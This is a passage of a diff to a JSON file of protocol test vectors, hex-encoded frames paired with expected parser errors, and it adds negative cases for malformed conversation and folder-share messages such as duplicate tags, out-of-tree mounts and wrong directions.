"574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "unknown_type" }, { "name": "bootstrap-fault-unknown-code", "direction": "up", - "hex": "574d58310101000001000000930000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f706c616e227d", + "hex": "574d58310101000001000000930000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f706c616e227d", "error": "bad_field" }, { @@ -872,7 +977,7 @@ "name": "runtime-stream-four", "direction": "up", "hex": "574d58310102000001000000050000000004000041", - "error": "bad_field" + "error": "bad_direction" }, { "name": "runtime-flags-two", @@ -909,6 +1014,246 @@ "direction": "up", "hex": "574d583101020000010000000400000000020000", "error": "bad_field" + }, + { + "name": "bootstrap-version-one", + "direction": "up", + "hex": "574d58310101000004000000800000007b2276223a312c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "version" + }, + { + "name": "bootstrap-version-three", + "direction": "down", + "hex": "574d583101010000020000007e0000007b2276223a332c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "version" + }, + { + "name": "runtime-file-in-travelling-up", + "direction": "up", + "hex": "574d583101020000030000000600000000040000780a", + "error": "bad_direction" + }, + { + "name": "runtime-file-out-travelling-down", + "direction": "down", + "hex": "574d583101020000030000000600000000050000780a", + "error": "bad_direction" + }, + { + "name": "runtime-stream-six", + "direction": "up", + "hex": "574d58310102000003000000050000000006000078", + "error": "bad_field" + }, + { + "name": "runtime-file-in-on-conversation-one", + "direction": "down", + "hex": "574d583101020000030000000600000001040000780a", + "error": "bad_field" + }, + { + "name": "runtime-file-out-on-conversation-one", + "direction": "up", + "hex": "574d583101020000030000000600000001050000780a", + "error": "bad_field" + }, + { + "name": "runtime-file-out-empty-without-end", + "direction": "up", + "hex": "574d583101020000030000000400000000050000", + "error": "bad_field" + }, + { + "name": "shares-travelling-up", + "direction": "up", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "unknown_type" + }, + { + "name": "shares-mounted-travelling-down", + "direction": "down", + "hex": "574d58310101000005000000870000007b2276223a322c2274223a227368617265735f6d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "unknown_type" + }, + { + "name": "shares-empty-list", + "direction": "down", + "hex": "574d583101010000030000008b0000007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b5d7d", + "error": "bad_field" + }, + { + "name": "shares-thirteen", + "direction": "down", + "hex": "574d58310101000003000000090500007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d2c7b22746167223a227372632d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6630222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6631222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6632222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6633222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6634222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6635222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6636222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6637222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-ten-folders", + "direction": "down", + "hex": "574d58310101000003000000e20300007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6630222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6631222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6632222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6633222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6634222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6635222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6636222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6637222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-duplicate-tag", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-duplicate-guest-path", + "direction": "down", + "hex": "574d58310101000003000000600200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-tag-uppercase", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a225372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-tag-thirty-three", + "direction": "down", + "hex": "574d583101010000030000007d0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a22616161616161616161616161616161616161616161616161616161616161616161222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-guidance-writable", + "direction": "down", + "hex": "574d58310101000003000000620200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a66616c73652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-memory-read-only", + "direction": "down", + "hex": "574d58310101000003000000600200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a747275652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-outputs-wrong-mount", + "direction": "down", + "hex": "574d58310101000003000000630200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f78222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-folder-nested-mount", + "direction": "down", + "hex": "574d58310101000003000000670200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-folder-outside-folders", + "direction": "down", + "hex": "574d583101010000030000005f0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f7265706f732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-two-memory", + "direction": "down", + "hex": "574d58310101000003000000680200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6d656d6f72792d32222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-unknown-kind", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a2273637261746368227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-extra-key", + "direction": "down", + "hex": "574d583101010000030000006d0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473222c22646178223a66616c73657d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-runtime-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32303030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f